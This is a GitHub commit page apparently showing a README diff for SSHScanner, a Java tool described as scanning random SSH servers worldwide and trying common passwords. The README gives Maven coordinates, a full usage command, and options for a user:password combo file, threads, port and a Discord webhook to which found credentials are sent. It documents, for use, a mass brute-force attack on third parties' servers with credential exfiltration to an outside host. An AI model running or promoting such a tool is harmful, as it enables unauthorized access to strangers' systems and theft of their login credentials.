Skip to content

Commit 8832341

Browse files
authored
Update README.md
1 parent b521c4c commit 8832341

File tree

1 file changed

+42
-2
lines changed

1 file changed

+42
-2
lines changed

README.md

Lines changed: 42 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,42 @@
1-
# SSHScanner
2-
This tool scans random SSH servers around the world and it tests the most used passwords.
1+
## Description
2+
This tool scans random SSH servers around the world and it tests the most used passwords
3+
4+
## Developers
5+
6+
You can reuse SSHScanner but make sure you comply with the [LICENSE](https://github.com/thisisnzed/SSHScanner/blob/main/LICENSE).
7+
8+
### Maven
9+
10+
```xml
11+
<dependencies>
12+
<dependency>
13+
<groupId>com.thisisnzed</groupId>
14+
<artifactId>SSHScanner</artifactId>
15+
<version>1.0-SNAPSHOT</version>
16+
</dependency>
17+
</dependencies>
18+
```
19+
20+
## Lib
21+
22+
* **JSch** : http://www.jcraft.com/jsch/
23+
24+
## Usage
25+
26+
* I. Download the [latest release](https://github.com/thisisnzed/SSHScanner/releases) of SSHScanner
27+
* II. Run the program with **java -jar SSHScanner.jar -combo combo.txt -threads 1 -port 22 -timeout 6000 -webhook "https://discord.com/api/webhooks/x/y" -verbose true
28+
29+
## Arguments
30+
31+
Note: Each argument is optional
32+
33+
* **-combo <path>** | File containing all the "user:password" that the program will test for each host (default: combo.txt)
34+
* **-threads <int>** | Number of threads launched (default: 1)
35+
* **-port <int>** | Port that will be tested for each host (default: 22)
36+
* **-timeout <int>** | Time (in ms) before the program marks a server as unavailable (default: 6000)
37+
* **-webhook <url>** | Discord webhook where credentials will be sent (default: "")
38+
* **-verbose <boolean>** | Whether or not to display failed attempts on the console (default: true)
39+
40+
41+
42+

0 commit comments

Comments
 (0)